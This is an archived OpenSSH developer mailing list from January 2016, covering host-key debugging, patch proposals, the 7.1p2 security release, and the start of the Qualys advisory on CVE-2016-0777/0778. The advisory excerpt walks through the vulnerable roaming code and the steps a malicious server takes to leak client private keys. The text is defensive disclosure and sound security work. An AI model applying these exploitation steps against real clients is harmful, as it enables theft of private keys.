> So it seems that some process creates these empty SSH host key files.
> Can you help to further debugging this strange behavior? Does sshd
> create SSH host keys?

It could be a filesystem issue in your image generation process. Are
you doing a "sync" before recording your image? And are you using one
of the more fragile, "optimized" filesystems like ReiserFS, which is
infamous for zeroing files?

Until you discover the issue, you *could* edit the OpenSSH init
script, or /etc/sysconfig/sshd, to clear the hostkeys if they're empty
and before new keys would be auto-generated.

From benjamin.drung at profitbricks.com  Fri Jan  8 05:00:53 2016
From: benjamin.drung at profitbricks.com (Benjamin Drung)
Date: Thu, 07 Jan 2016 19:00:53 +0100
Subject: Empty (zero byte) SSH host keys
In-Reply-To: <alpine.BSO.2.20.1601071008120.16063@natsu.mindrot.org>
References: <1452103704.16866.23.camel@profitbricks.com>
 <alpine.BSO.2.20.1601071008120.16063@natsu.mindrot.org>
Message-ID: <1452189653.16866.55.camel@profitbricks.com>

Am Donnerstag, den 07.01.2016, 10:09 +1100 schrieb Damien Miller:
> On Wed, 6 Jan 2016, Benjamin Drung wrote:
> 
> > Hi,
> > 
> > We create virtual machine image templates by doing automated
> > minimal
> > installations of different Linux distributions (via
> > preseed/kickstarter/autoyast). At the end of the installation, we
> > remove the SSH host keys (rm -f /etc/ssh/ssh*_key*). Fresh SSH host
> > keys will be generated on the first boot of the image instances.
> > This
> > is done by adding a "dpkg-reconfigure openssh-server" call in
> > /etc/rc.local (which calls ssh-keygen) on Debian/Ubuntu and by the
> > init
> > script of sshd on the other distributions.
> > 
> > This leads to working SSH server running on the virtual machines
> > most
> > of the times, but sometimes the SSH connection fails with
> > "connection
> > reset by peer". The investigation of Debian 7 "wheezy" images
> > showed
> > that these faulty machines have empty (zero byte) SSH host key
> > files.
> > These files do not exist before the machines are started, but they
> > do
> > exist before "dpkg-reconfigure openssh-server" is called.
> > 
> > So it seems that some process creates these empty SSH host key
> > files.
> > Can you help to further debugging this strange behavior? Does sshd
> > create SSH host keys?
> 
> No, sshd only reads and never writes host keys.

Thanks for confirming it.

> It's possible that
> either ssh-keygen is failing during writing the keys out or there
> is some bug in the init script that is calling it.

The strange thing is that the empty files appear before ssh-keygen is
called (via our "dpkg-reconfigure openssh-server" call in
/etc/rc.local). I am not aware of any other ssh-keygen calls besides
our one. Who creates these empty SSH host key files?

I also checked the sysvinit script of ssh on Debian 7 "wheezy". It only
checks/creates /var/run/sshd before calling sshd. There is not host key
handling in the init script of ssh.

-- 
Benjamin Drung
System Developer
Debian & Ubuntu Developer

ProfitBricks GmbH
Greifswalder Str. 207
D - 10405 Berlin

Email: benjamin.drung at profitbricks.com
URL:  http://www.profitbricks.com

Sitz der Gesellschaft: Berlin.
Registergericht: Amtsgericht Charlottenburg, HRB 125506B.
Gesch?ftsf?hrer: Andreas Gauger, Achim Weiss.



From benjamin.drung at profitbricks.com  Fri Jan  8 05:18:12 2016
From: benjamin.drung at profitbricks.com (Benjamin Drung)
Date: Thu, 07 Jan 2016 19:18:12 +0100
Subject: Empty (zero byte) SSH host keys
In-Reply-To: <CAOCN9rxXvp=CObvUBL15gsyU-kdQp9giVxk4w98UK0zQ4g0Q0Q@mail.gmail.com>
References: <1452103704.16866.23.camel@profitbricks.com>
 <CAOCN9rxXvp=CObvUBL15gsyU-kdQp9giVxk4w98UK0zQ4g0Q0Q@mail.gmail.com>
Message-ID: <1452190692.16866.70.camel@profitbricks.com>

Am Donnerstag, den 07.01.2016, 03:18 -0500 schrieb Nico Kadel-Garcia:
> On Wed, Jan 6, 2016 at 1:08 PM, Benjamin Drung
> <benjamin.drung at profitbricks.com> wrote:
> > Hi,
> > 
> > We create virtual machine image templates by doing automated
> > minimal
> > installations of different Linux distributions (via
> > preseed/kickstarter/autoyast). At the end of the installation, we
> > remove the SSH host keys (rm -f /etc/ssh/ssh*_key*). Fresh SSH host
> > keys will be generated on the first boot of the image instances.
> > This
> > is done by adding a "dpkg-reconfigure openssh-server" call in
> > /etc/rc.local (which calls ssh-keygen) on Debian/Ubuntu and by the
> > init
> > script of sshd on the other distributions.
> > 
> > This leads to working SSH server running on the virtual machines
> > most
> > of the times, but sometimes the SSH connection fails with
> > "connection
> > reset by peer". The investigation of Debian 7 "wheezy" images
> > showed
> > that these faulty machines have empty (zero byte) SSH host key
> > files.
> > These files do not exist before the machines are started, but they
> > do
> > exist before "dpkg-reconfigure openssh-server" is called.
> > 
> > So it seems that some process creates these empty SSH host key
> > files.
> > Can you help to further debugging this strange behavior? Does sshd
> > create SSH host keys?
> 
> It could be a filesystem issue in your image generation process. Are
> you doing a "sync" before recording your image? And are you using one
> of the more fragile, "optimized" filesystems like ReiserFS, which is
> infamous for zeroing files?

All images use ext4 as filesystem.

The image creation works as following:
1) Create a raw HDD image (2 GiB in size)
2) Launch qemu to do a preseed/kickstarter/autoyast installation
2b) as part of the installation remove the SSH host keys (via a
late_command or post command)
2c) wait for the installation to finish / exit of qemu
3) mount the raw image
4) copy the installer logs and remove them
5) unmout the raw image
6) run zerofree on the partition
7) convert the raw image to qcow2 and upload/distribute it

When an instance is created from this template, following steps are
done:

1) create a block device (could be larger than the image)
2) copy the template to the block device
3) resize the root partition and add a tmpfs partition
4) mount the resized partition
5) (optionally) inject a authorized_key file
6) set the root password
7) verify that no SSH host keys are on this partition
8) unmount the partition
9) launch qemu

> Until you discover the issue, you *could* edit the OpenSSH init
> script, or /etc/sysconfig/sshd, to clear the hostkeys if they're
> empty
> and before new keys would be auto-generated.

That's exactly the workaround that we are currently testing.

-- 
Benjamin Drung
System Developer
Debian & Ubuntu Developer

ProfitBricks GmbH
Greifswalder Str. 207
D - 10405 Berlin

Email: benjamin.drung at profitbricks.com
URL:  http://www.profitbricks.com

Sitz der Gesellschaft: Berlin.
Registergericht: Amtsgericht Charlottenburg, HRB 125506B.
Gesch?ftsf?hrer: Andreas Gauger, Achim Weiss.



From adrianmatei.74 at gmail.com  Sun Jan 10 21:19:05 2016
From: adrianmatei.74 at gmail.com (Adrian Matei)
Date: Sun, 10 Jan 2016 12:19:05 +0200
Subject: Missing sshd process name from netstat results
Message-ID: <CABsjS1HNszR1KrzdVu4HkhsWgPozCHshuhgE0SO-9vQF4yMHkQ@mail.gmail.com>

We use an alias for getting information how many established connections
are for sshd process name. Recently we updated all our packages in Debian
7.9. Even we have lots of connections to sshd server, they are not reported
by process name in netstat. Process name appears as a figure, the first one
is 0 and increments by 1.

Please see the attachment. I am using netstat command then grepping by
process name then by port as root. Listen ports shows correctly PID/process
name, but for Established connections it shows PID/number. Process name is
missing for established connection.

Any advices?

Thank you.

From keisial at gmail.com  Mon Jan 11 09:41:44 2016
From: keisial at gmail.com (=?ISO-8859-1?Q?=C1ngel_Gonz=E1lez?=)
Date: Sun, 10 Jan 2016 23:41:44 +0100
Subject: Missing sshd process name from netstat results
In-Reply-To: <CABsjS1HNszR1KrzdVu4HkhsWgPozCHshuhgE0SO-9vQF4yMHkQ@mail.gmail.com>
References: <CABsjS1HNszR1KrzdVu4HkhsWgPozCHshuhgE0SO-9vQF4yMHkQ@mail.gmail.com>
Message-ID: <5692DE28.3050600@gmail.com>

On 10/01/16 11:19, Adrian Matei wrote:
> We use an alias for getting information how many established connections
> are for sshd process name. Recently we updated all our packages in Debian
> 7.9. Even we have lots of connections to sshd server, they are not reported
> by process name in netstat. Process name appears as a figure, the first one
> is 0 and increments by 1.
>
> Please see the attachment. I am using netstat command then grepping by
> process name then by port as root. Listen ports shows correctly PID/process
> name, but for Established connections it shows PID/number. Process name is
> missing for established connection.
>
> Any advices?
>
> Thank you.
Please note that the mailing list stripped your attachment, which didn't 
reach the mailing list.

If it was important, you may want to resubmit, ensuring it is sent as 
text/plain, or provide a link to the content.

Regards


From wp02855 at gmail.com  Thu Jan 14 04:56:39 2016
From: wp02855 at gmail.com (Bill Parker)
Date: Wed, 13 Jan 2016 09:56:39 -0800
Subject: Possible failure to scrub data in file 'openbsd-compat/bsd-cray.c' in
 OpenSSH-7.1p1
Message-ID: <CAFrbyQym-309jD6xwiFDaX527h9qDALnQGJBTXmneU2MEDYfLQ@mail.gmail.com>

Hello All,

In reviewing some code in file 'bsd-cray.c', I found a possible
issue where data in the following code may not be properly scrubbed
in the case IA_BACKDOOR in function 'cray_setup', which is below:

        case IA_BACKDOOR:
                /* XXX: can we memset it to zero here so save some of this
*/
                strlcpy(ue.ue_name, "root", sizeof(ue.ue_name));
                strlcpy(ue.ue_dir, "/", sizeof(ue.ue_dir));
                strlcpy(ue.ue_shell, "/bin/sh", sizeof(ue.ue_shell));

                ue.ue_passwd[0] = '\0';
                ue.ue_age[0] = '\0';
                ue.ue_comment[0] = '\0';
                ue.ue_loghost[0] = '\0';
                ue.ue_logline[0] = '\0';

                ue.ue_uid = -1;
                ue.ue_nice[UDBRC_INTER] = 0;

where ue.ue_passwd[0] is set to NUL, there exists the potential that
any data beyond ue.ue_passwd[0] is still accessible in memory as the
following test program below demonstrates:

#include <stdio.h>

int main(void)
{
    unsigned int n, l;
    char ue[50] = "ABCDEFGHIJKLMNPOQRSTUVWXYZ0123456789";

    ue[0] = '\0';   /* set this to NULL */

    printf("Contents of char ue[0] is: %s\n", ue);

    printf("Contents of char ue[1-36] is:");

    for (n = 1; n < 36; n++)
        printf("%c", ue[n]);
    printf("\n");

    return 0;
}

[bill at moocow ~]$ ./a.out
Contents of char ue[0] is:
Contents of char ue[1-36] is:BCDEFGHIJKLMNPOQRSTUVWXYZ0123456789

As you can see, data beyond ue[0] is still accessible, should the
code not be changed to use memset() to scrub any sensitive information
still stored in various arrays in IA_BACKDOOR (and perhaps other
areas of code in bsd-cray.c, etc)?

Bill Parker (wp02855 at gmail dot com)

From habets at google.com  Thu Jan 14 19:20:26 2016
From: habets at google.com (=?UTF-8?Q?Thomas_=E2=98=83_Habets?=)
Date: Thu, 14 Jan 2016 08:20:26 +0000
Subject: [Patch] TCP MD5SIG for OpenSSH
Message-ID: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>

The intent of this option is similar to "tls-auth" in openvpn[1]: To
refuse to talk to anyone who doesn't know the shared secret.

You could compare this to port knocking, in that it solves a similar
problem.

This also prevents RST attacks from killing an existing connection,
even when attacker can sniff sequence numbers.

This feature doesn't work through NAT, since the source and
destination are signed. As IPv6 becomes more and more prevalent it'll
become possible to use this in more and more deployments.

The socket option is enabled *after* connection establishment, thus
doesn't protect against SYN floods. This is because server doesn't
know (in userspace) what the address of the peer is until they
connect. Again because signed addresses.

Setting up:
* Add "TCPMD5 foorbarSecret" to sshd_config
* SSH with "-oTCPMD5=foobarSecret"

Patch attached, but it's an ugly patch for 7.1p. I didn't want to put
too much effort into cleaning up and documenting everything if the
concept itself would rejected outright.

It needs formatting, portability, apply to CVS HEAD, and include file
changes at
least. But it works on Linux as is.

Everything signed from fourth packet:

16:32:40.902764 IP 127.0.0.1.51216 > 127.0.0.1.2222: Flags [S], seq
2342692369, win 43690, options [mss 65495,sackOK,TS val 51101999 ecr
0,nop,wscale 7], length 0

16:32:40.902777 IP 127.0.0.1.2222 > 127.0.0.1.51216: Flags [S.], seq
514139093, ack 2342692370, win 43690, options [mss 65495,sackOK,TS val
51101999 ecr 51101999,nop,wscale 7], length 0

16:32:40.902789 IP 127.0.0.1.51216 > 127.0.0.1.2222: Flags [.], ack 1, win
342, options [nop,nop,TS val 51101999 ecr 51101999], length 0

16:32:40.903480 IP 127.0.0.1.51216 > 127.0.0.1.2222: Flags [P.], seq 1:22,
ack 1, win 342, options [nop,nop,md5shared secret not supplied with -M,
can't check - 2daa171c0c342b041da3cb79ecd1d11b,nop,nop,TS val 51101999 ecr
51101999], length 21

So, how about it? Worth cleaning up?

[1] https://community.openvpn.net/openvpn/wiki/Hardening#Useof--tls-auth


-- 
? Thomas ?
-------------- next part --------------
A non-text attachment was scrubbed...
Name: 0001-working.patch
Type: text/x-patch
Size: 8882 bytes
Desc: not available
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160114/e8f5a553/attachment-0001.bin>

From vincent.brillault at cern.ch  Thu Jan 14 21:49:50 2016
From: vincent.brillault at cern.ch (Vincent Brillault)
Date: Thu, 14 Jan 2016 11:49:50 +0100
Subject: [PATCH RFC] Expose authentication information in the environment
 (PAM & shell)
In-Reply-To: <20151126203205.GC31718@Fea.lerya.net>
References: <20151126203205.GC31718@Fea.lerya.net>
Message-ID: <20160114104950.GE28474@Fea.lerya.net>

Dear all,

I believe that my last email to the list, in November, got unfortunately
lost for most people due to the 'DMARC' configuration on the domain I
was using. I'm now using another email address, that will hopefully work
this time... Here is the content of my previous email:

On Thu 26.Nov'15 at 21:32:05 +0100, Vincent Brillault wrote:
> Following a discussion of last June and the resulting bug (2408), in
> order to improve 2 factor authentication, I've worked on a set of
> patches to expose at least basic authentication information and more
> when possible. By exposing such information to PAM, it would be possible
> to differentiate the cases when PAM is called first and when it is
> called after a valid authentication (e.g. when using
> AuthenticationMethods gssapi-with-mic,keyboard-interactive:pam
> publickey,keyboard-interactive:pam keyboard-interactive:pam)
> 
> The design of these patches is rather simple:
> - Authentication method can "publish" detailed information about the
>   client, if the authentication was successful
> - In the main auth 2 loop, after a successful authentication, the
>   authentication method is recorded, including details if provided
> - When calling PAM or a shell, export this information via an
>   environment variable
> 
> I've tried to keep the patches as small and atomic as possible.
> The larger change is probably the introduction of 'pubkey_format' in
> order to only have one function to print a public key.
> 
> This set of patch could be extended to cover more ground, but I not sure
> how and thus I'm open to suggestions and ideas on how:
> - to expose the same kind of detailed information from the priviledged
>   thread in case of priviledge separation
> - to produce the same kind of information from other authentication
>   methods (I'm particularly interested in getting the kerbors principal
>   from gss-serv-krb5 for example)
> 
> Resolving such questions would probably make this feature complete, but
> I fear that they need complex modifications of the existing code. Do you
> think that this design and this first step could be considered and
> merged first, without closing the door for further improvement?

What is the standard procedure or what would be the preferred way of
sharing these patches? Send the aggerated patch in one email? Send all
the atomic patch in a single email? Use git send email to send atomic
patches as 9 emails plus header?
In the mean time, the patches are available:
- Via the bugzilla: https://bugzilla.mindrot.org/show_bug.cgi?id=2408
- On GitHub: https://github.com/CERN-CERT/openssh-portable (last 9)

I've also published a small explanation on why we are doing it:
https://cern-cert.github.io/pam_2fa/

Thanks in advance for your comments,
Vincent
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: Digital signature
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160114/2f133e42/attachment.bin>

From djm at mindrot.org  Fri Jan 15 01:16:38 2016
From: djm at mindrot.org (Damien Miller)
Date: Fri, 15 Jan 2016 01:16:38 +1100 (AEDT)
Subject: CVE-2016-0777 and mitigation
Message-ID: <alpine.BSO.2.20.1601150105110.16110@natsu.mindrot.org>

Hi,

We'll shortly be issuing a 7.1p2 release to fix a client-side security
bug that has been designated CVE-2016-0777. In the meantime, the
problem can be avoided by adding the undocumented "UseRoaming no"
directive to the system-wide ssh_config file.

More details will follow with the release.

-d

From djm at openbsd.org  Fri Jan 15 01:54:20 2016
From: djm at openbsd.org (Damien Miller)
Date: Thu, 14 Jan 2016 07:54:20 -0700 (MST)
Subject: Announce: Portable OpenSSH 7.1p2 released
Message-ID: <5357c534ad4f6a7f@openbsd.org>

OpenSSH 7.1p2 has just been released. It will be available from the
mirrors listed at http://www.openssh.com/ shortly.

OpenSSH is a 100% complete SSH protocol 2.0 implementation and
includes sftp client and server support. OpenSSH also includes
transitional support for the legacy SSH 1.3 and 1.5 protocols
that may be enabled at compile-time.

Once again, we would like to thank the OpenSSH community for their
continued support of the project, especially those who contributed
code or patches, reported bugs, tested snapshots or donated to the
project. More information on donations may be found at:
http://www.openssh.com/donations.html

Changes since OpenSSH 7.1p1
===========================

 * SECURITY: ssh(1): The OpenSSH client code between 5.4 and 7.1
   contains experimential support for resuming SSH-connections (roaming).

   The matching server code has never been shipped, but the client
   code was enabled by default and could be tricked by a malicious
   server into leaking client memory to the server, including private
   client user keys.

   The authentication of the server host key prevents exploitation
   by a man-in-the-middle, so this information leak is restricted
   to connections to malicious or compromised servers.

   MITIGATION: For OpenSSH >= 5.4 the vulnerable code in the client
   can be completely disabled by adding 'UseRoaming no' to the gobal
   ssh_config(5) file, or to user configuration in ~/.ssh/config,
   or by passing -oUseRoaming=no on the command line.

   PATCH: See below for a patch to disable this feature (Disabling
   Roaming in the Source Code).

   This problem was reported by the Qualys Security Advisory team.

 * SECURITY: Eliminate the fallback from untrusted X11-forwarding
   to trusted forwarding for cases when the X server disables
   the SECURITY extension. Reported by Thomas Hoger.

 * SECURITY: Fix an out of-bound read access in the packet handling
   code. Reported by Ben Hawkes.

 * PROTOCOL: Correctly interpret the 'first_kex_follows' option during
   the intial key exchange. Reported by Matt Johnston.

 * Further use of explicit_bzero has been added in various buffer
   handling code paths to guard against compilers aggressively
   doing dead-store removal.


Checksums:
==========

 - SHA1 (openssh-7.1p2.tar.gz) = 9202f5a2a50c8a55ecfb830609df1e1fde97f758
 - SHA256 (openssh-7.1p2.tar.gz) = dd75f024dcf21e06a0d6421d582690bf987a1f6323e32ad6619392f3bfde6bbd

Please note that the SHA256 signatures are base64 encoded and not
hexadecimal (which is the default for most checksum tools). The PGP
key used to sign the releases is available as RELEASE_KEY.asc from
the mirror sites.

Reporting Bugs:
===============

- Please read http://www.openssh.com/report.html
  Security bugs should be reported directly to openssh at openssh.com

OpenSSH is brought to you by Markus Friedl, Niels Provos, Theo de Raadt,
Kevin Steves, Damien Miller, Darren Tucker, Jason McIntyre, Tim Rice and
Ben Lindstrom.

Disabling Roaming in the Source Code:
=====================================

--- readconf.c	30 Jul 2015 00:01:34 -0000	1.239
+++ readconf.c	13 Jan 2016 23:17:23 -0000
@@ -1648,7 +1648,7 @@ initialize_options(Options * options)
 	options->tun_remote = -1;
 	options->local_command = NULL;
 	options->permit_local_command = -1;
-	options->use_roaming = -1;
+	options->use_roaming = 0;
 	options->visual_host_key = -1;
 	options->ip_qos_interactive = -1;
 	options->ip_qos_bulk = -1;
@@ -1819,8 +1819,7 @@ fill_default_options(Options * options)
 		options->tun_remote = SSH_TUNID_ANY;
 	if (options->permit_local_command == -1)
 		options->permit_local_command = 0;
-	if (options->use_roaming == -1)
-		options->use_roaming = 1;
+	options->use_roaming = 0;
 	if (options->visual_host_key == -1)
 		options->visual_host_key = 0;
 	if (options->ip_qos_interactive == -1)
--- ssh.c	30 Jul 2015 00:01:34 -0000	1.420
+++ ssh.c	13 Jan 2016 23:17:23 -0000
@@ -1882,9 +1882,6 @@ ssh_session2(void)
 			fork_postauth();
 	}
 
-	if (options.use_roaming)
-		request_roaming();
-
 	return client_loop(tty_flag, tty_flag ?
 	    options.escape_char : SSH_ESCAPECHAR_NONE, id);
 }

From mouring at offwriting.org  Fri Jan 15 02:20:47 2016
From: mouring at offwriting.org (Ben Lindstrom)
Date: Thu, 14 Jan 2016 09:20:47 -0600
Subject: Possible failure to scrub data in file 'openbsd-compat/bsd-cray.c'
 in OpenSSH-7.1p1
In-Reply-To: <CAFrbyQym-309jD6xwiFDaX527h9qDALnQGJBTXmneU2MEDYfLQ@mail.gmail.com>
References: <CAFrbyQym-309jD6xwiFDaX527h9qDALnQGJBTXmneU2MEDYfLQ@mail.gmail.com>
Message-ID: <5697BCCF.2080805@offwriting.org>


This is for UNICOS Cray.  And currently I know that the OS and hardware 
have been officially retired.  I have a question into one of my contacts 
at Cray to see if they know of any customers still running this old 
hardware, and if not then I'd suggest we strip the UNICOS port out as 
dead wood.

- Ben

Bill Parker wrote:
> Hello All,
>
> In reviewing some code in file 'bsd-cray.c', I found a possible
> issue where data in the following code may not be properly scrubbed
> in the case IA_BACKDOOR in function 'cray_setup', which is below:
>
>          case IA_BACKDOOR:
>                  /* XXX: can we memset it to zero here so save some of this
> */
>                  strlcpy(ue.ue_name, "root", sizeof(ue.ue_name));
>                  strlcpy(ue.ue_dir, "/", sizeof(ue.ue_dir));
>                  strlcpy(ue.ue_shell, "/bin/sh", sizeof(ue.ue_shell));
>
>                  ue.ue_passwd[0] = '\0';
>                  ue.ue_age[0] = '\0';
>                  ue.ue_comment[0] = '\0';
>                  ue.ue_loghost[0] = '\0';
>                  ue.ue_logline[0] = '\0';
>
>                  ue.ue_uid = -1;
>                  ue.ue_nice[UDBRC_INTER] = 0;
>
> where ue.ue_passwd[0] is set to NUL, there exists the potential that
> any data beyond ue.ue_passwd[0] is still accessible in memory as the
> following test program below demonstrates:
>
> #include<stdio.h>
>
> int main(void)
> {
>      unsigned int n, l;
>      char ue[50] = "ABCDEFGHIJKLMNPOQRSTUVWXYZ0123456789";
>
>      ue[0] = '\0';   /* set this to NULL */
>
>      printf("Contents of char ue[0] is: %s\n", ue);
>
>      printf("Contents of char ue[1-36] is:");
>
>      for (n = 1; n<  36; n++)
>          printf("%c", ue[n]);
>      printf("\n");
>
>      return 0;
> }
>
> [bill at moocow ~]$ ./a.out
> Contents of char ue[0] is:
> Contents of char ue[1-36] is:BCDEFGHIJKLMNPOQRSTUVWXYZ0123456789
>
> As you can see, data beyond ue[0] is still accessible, should the
> code not be changed to use memset() to scrub any sensitive information
> still stored in various arrays in IA_BACKDOOR (and perhaps other
> areas of code in bsd-cray.c, etc)?
>
> Bill Parker (wp02855 at gmail dot com)
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev


From cjwatson at debian.org  Fri Jan 15 02:23:08 2016
From: cjwatson at debian.org (Colin Watson)
Date: Thu, 14 Jan 2016 15:23:08 +0000
Subject: Error in 7.1p2 announcement?
Message-ID: <20160114152308.GJ2161@riva.ucam.org>

The 7.1p2 announcement (http://www.openssh.com/txt/release-7.1p2) says:

 * SECURITY: Eliminate the fallback from untrusted X11-forwarding
   to trusted forwarding for cases when the X server disables
   the SECURITY extension. Reported by Thomas Hoger.

However, as far as I can see, this change is not in the V_7_1_P2 tag in
git, or in the released tarball.

Thanks,

-- 
Colin Watson                                       [cjwatson at debian.org]

From stu at spacehopper.org  Fri Jan 15 04:18:14 2016
From: stu at spacehopper.org (Stuart Henderson)
Date: Thu, 14 Jan 2016 17:18:14 +0000
Subject: qualis advisory
Message-ID: <20160114171814.GG25682@symphytum.spacehopper.org>

https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt


Qualys Security Advisory

Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778


========================================================================
Contents
========================================================================

Summary
Information Leak (CVE-2016-0777)
- Analysis
- Private Key Disclosure
- Mitigating Factors
- Examples
Buffer Overflow (CVE-2016-0778)
- Analysis
- Mitigating Factors
- File Descriptor Leak
Acknowledgments
Proof Of Concept


========================================================================
Summary
========================================================================

Since version 5.4 (released on March 8, 2010), the OpenSSH client
supports an undocumented feature called roaming: if the connection to an
SSH server breaks unexpectedly, and if the server supports roaming as
well, the client is able to reconnect to the server and resume the
suspended SSH session.

Although roaming is not supported by the OpenSSH server, it is enabled
by default in the OpenSSH client, and contains two vulnerabilities that
can be exploited by a malicious SSH server (or a trusted but compromised
server): an information leak (memory disclosure), and a buffer overflow
(heap-based).

The information leak is exploitable in the default configuration of the
OpenSSH client, and (depending on the client's version, compiler, and
operating system) allows a malicious SSH server to steal the client's
private keys. This information leak may have already been exploited in
the wild by sophisticated attackers, and high-profile sites or users may
need to regenerate their SSH keys accordingly.

The buffer overflow, on the other hand, is present in the default
configuration of the OpenSSH client but its exploitation requires two
non-default options: a ProxyCommand, and either ForwardAgent (-A) or
ForwardX11 (-X). This buffer overflow is therefore unlikely to have any
real-world impact, but provides a particularly interesting case study.

All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be
easily hot-fixed by setting the undocumented option "UseRoaming" to
"no", as detailed in the Mitigating Factors section. OpenSSH version
7.1p2 (released on January 14, 2016) disables roaming by default.


========================================================================
Information Leak (CVE-2016-0777)
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

If the OpenSSH client connects to an SSH server that offers the key
exchange algorithm "resume at appgate.com", it sends the global request
"roaming at appgate.com" to the server, after successful authentication. If
this request is accepted, the client allocates a roaming buffer out_buf,
by calling malloc() (and not calloc()) with an out_buf_size that is
arbitrarily chosen by the server:

 63 void
 64 roaming_reply(int type, u_int32_t seq, void *ctxt)
 65 {
 66         if (type == SSH2_MSG_REQUEST_FAILURE) {
 67                 logit("Server denied roaming");
 68                 return;
 69         }
 70         verbose("Roaming enabled");
 ..
 75         set_out_buffer_size(packet_get_int() + get_snd_buf_size());
 ..
 77 }

 40 static size_t out_buf_size = 0;
 41 static char *out_buf = NULL;
 42 static size_t out_start;
 43 static size_t out_last;
 ..
 75 void
 76 set_out_buffer_size(size_t size)
 77 {
 78         if (size == 0 || size > MAX_ROAMBUF)
 79                 fatal("%s: bad buffer size %lu", __func__, (u_long)size);
 80         /*
 81          * The buffer size can only be set once and the buffer will live
 82          * as long as the session lives.
 83          */
 84         if (out_buf == NULL) {
 85                 out_buf_size = size;
 86                 out_buf = xmalloc(size);
 87                 out_start = 0;
 88                 out_last = 0;
 89         }
 90 }

The OpenSSH client's roaming_write() function, a simple wrapper around
write(), calls wait_for_roaming_reconnect() to transparently reconnect
to the SSH server after a disconnection. It also calls buf_append() to
copy the data sent to the server into the roaming buffer out_buf. During
a reconnection, the client is therefore able to resend the data that was
not received by the server because of the disconnection:

198 void
199 resend_bytes(int fd, u_int64_t *offset)
200 {
201         size_t available, needed;
202
203         if (out_start < out_last)
204                 available = out_last - out_start;
205         else
206                 available = out_buf_size;
207         needed = write_bytes - *offset;
208         debug3("resend_bytes: resend %lu bytes from %llu",
209             (unsigned long)needed, (unsigned long long)*offset);
210         if (needed > available)
211                 fatal("Needed to resend more data than in the cache");
212         if (out_last < needed) {
213                 int chunkend = needed - out_last;
214                 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,
215                     chunkend);
216                 atomicio(vwrite, fd, out_buf, out_last);
217         } else {
218                 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);
219         }
220 }

In the OpenSSH client's roaming buffer out_buf, the most recent data
sent to the server begins at index out_start and ends at index out_last.
As soon as this circular buffer is full, buf_append() maintains the
invariant "out_start = out_last + 1", and consequently three different
cases have to be considered:

- "out_start < out_last" (lines 203-204): out_buf is not full yet (and
  out_start is still equal to 0), and the amount of data available in
  out_buf is indeed "out_last - out_start";

- "out_start > out_last" (lines 205-206): out_buf is full (and out_start
  is exactly equal to "out_last + 1"), and the amount of data available
  in out_buf is indeed the entire out_buf_size;

- "out_start == out_last" (lines 205-206): no data was ever written to
  out_buf (and both out_start and out_last are still equal to 0) because
  no data was ever sent to the server after roaming_reply() was called,
  but the client sends (leaks) the entire uninitialized out_buf to the
  server (line 214), as if out_buf_size bytes of data were available.

In order to successfully exploit this information leak and retrieve
sensitive information from the OpenSSH client's memory (for example,
private SSH keys, or memory addresses useful for further exploitation),
a malicious server needs to:

- Massage the client's heap before roaming_reply() malloc()ates out_buf,
  and force malloc() to return a previously free()d but uncleansed chunk
  of sensitive information. The simple proof-of-concept in this advisory
  does not implement heap massaging.

- Guess the client's get_snd_buf_size() in order to precisely control
  out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G),
  and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller
  than get_snd_buf_size() are attainable because roaming_reply() does
  not protect "packet_get_int() + get_snd_buf_size()" against integer
  wraparound. The proof-of-concept in this advisory attempts to derive
  the client's get_snd_buf_size() from the get_recv_buf_size() sent by
  the client to the server, and simply chooses a random out_buf_size.

- Advise the client's resend_bytes() that all "available" bytes (the
  entire out_buf_size) are "needed" by the server, even if fewer bytes
  were actually written by the client to the server (because the server
  controls the "*offset" argument, and resend_bytes() does not protect
  "needed = write_bytes - *offset" against integer wraparound).

Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit
systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and
"out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend"
may point out-of-bounds, if chunkend is negative (if out_buf_size is in
the [2G,4G) range). This negative chunkend is then converted to a 64-bit
size_t greater than SSIZE_MAX when passed to atomicio(), and eventually
returns EFAULT when passed to write() (at least on Linux and OpenBSD),
thus avoiding an out-of-bounds read from the OpenSSH client's memory.

------------------------------------------------------------------------
Private Key Disclosure
------------------------------------------------------------------------

We initially believed that this information leak in the OpenSSH client's
roaming code would not allow a malicious SSH server to steal the
client's private keys, because:

- the information leaked is not read from out-of-bounds memory, but from
  a previously free()d chunk of memory that is recycled to malloc()ate
  the client's roaming buffer out_buf;

- private keys are loaded from disk into memory and freed by key_free()
  (old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7),
  and both functions properly cleanse the private keys' memory with
  OPENSSL_cleanse() or explicit_bzero();

- temporary copies of in-memory private keys are freed by buffer_free()
  (old API) or sshbuf_free() (new API), and both functions attempt to
  cleanse these copies with memset() or bzero().

However, we eventually identified three reasons why, in our experiments,
we were able to partially or completely retrieve the OpenSSH client's
private keys through this information leak (depending on the client's
version, compiler, operating system, heap layout, and private keys):

(besides these three reasons, other reasons may exist, as suggested by
the CentOS and Fedora examples at the end of this section)

1. If a private SSH key is loaded from disk into memory by fopen() (or
fdopen()), fgets(), and fclose(), a partial or complete copy of this
private key may remain uncleansed in memory. Indeed, these functions
manage their own internal buffers, and whether these buffers are
cleansed or not depends on the OpenSSH client's libc (stdio)
implementation, but not on OpenSSH itself.

- In all vulnerable OpenSSH versions, SSH's main() function calls
  load_public_identity_files(), which loads the client's public keys
  with fopen(), fgets(), and fclose(). Unfortunately, the private keys
  (without the ".pub" suffix) are loaded first and then discarded, but
